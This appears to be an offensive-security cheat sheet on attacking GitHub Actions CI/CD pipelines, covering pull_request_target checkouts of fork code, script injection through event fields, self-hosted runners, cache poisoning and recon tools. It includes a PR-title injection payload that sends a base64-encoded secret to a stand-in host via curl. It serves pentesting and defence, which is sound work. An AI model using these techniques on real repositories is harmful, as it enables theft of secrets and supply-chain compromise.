CI/CD
The pipeline has more secrets than the app does, and its trigger is often a pull request from a stranger.
pull_request_target
The dangerous one. Runs with the base repo’s secrets and write token, but can be made to check out the fork’s code.
on: pull_request_target # secrets available to a fork's PR
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker's code
- run: npm install && npm run build # runs itOpen a PR that edits a build script or a postinstall hook and the workflow executes it with GITHUB_TOKEN and every repo secret in the environment.
# find it
grep -rn "pull_request_target" .github/workflows/
# then check whether the checkout uses head.sha / head.refScript injection
Any ${{ github.event.* }} interpolated into a run: block is a shell injection — the expansion happens before the shell sees it.
- run: echo "Title: ${{ github.event.issue.title }}"PR title: a"; curl https://oob.tld/?k=$(echo $MY_SECRET | base64); echo "Attacker-controlled fields:
github.event.issue.title github.event.issue.body
github.event.pull_request.title github.event.pull_request.body
github.event.comment.body github.event.review.body
github.event.pull_request.head.ref github.event.pull_request.head.label
github.head_ref github.event.commits[*].message
github.event.discussion.title/body github.event.pages[*].page_namehead_ref is a branch name — a fork can name a branch almost anything.
Self-hosted runners
Non-ephemeral runners keep state between jobs. Code execution on one is persistence across every repo that uses it, plus whatever cloud role it holds.
runs-on: self-hosted # in a public repo, on a fork-triggered eventOther reachable surfaces
actions/cachepoisoning — write a cache key an internal job later restores- Artifact upload paths with traversal
workflow_runreading artifacts from an untrustedpull_requestrun- Unpinned third-party actions (
uses: some/action@master) - OIDC
subclaim trust policies that are too loose on the AWS/GCP side
Recon
# https://github.com/praetorian-inc/gato-x
gato-x enumerate -t target-org
# https://github.com/synacktiv/octoscan
octoscan scan ./repo
# leaked secrets in the history
# https://github.com/trufflesecurity/trufflehog
trufflehog github --org=target-org --only-verified# public workflow files
https://github.com/ORG/REPO/tree/main/.github/workflows
https://github.com/search?q=org%3ATARGET+pull_request_target&type=codeProving it without wrecking the pipeline
Exfiltrate a canary, never the real secret. echo ${MY_SECRET:0:4} or a DNS callback with a hash is enough to prove exposure. Do not push commits, do not use GITHUB_TOKEN to write, and delete the PR after.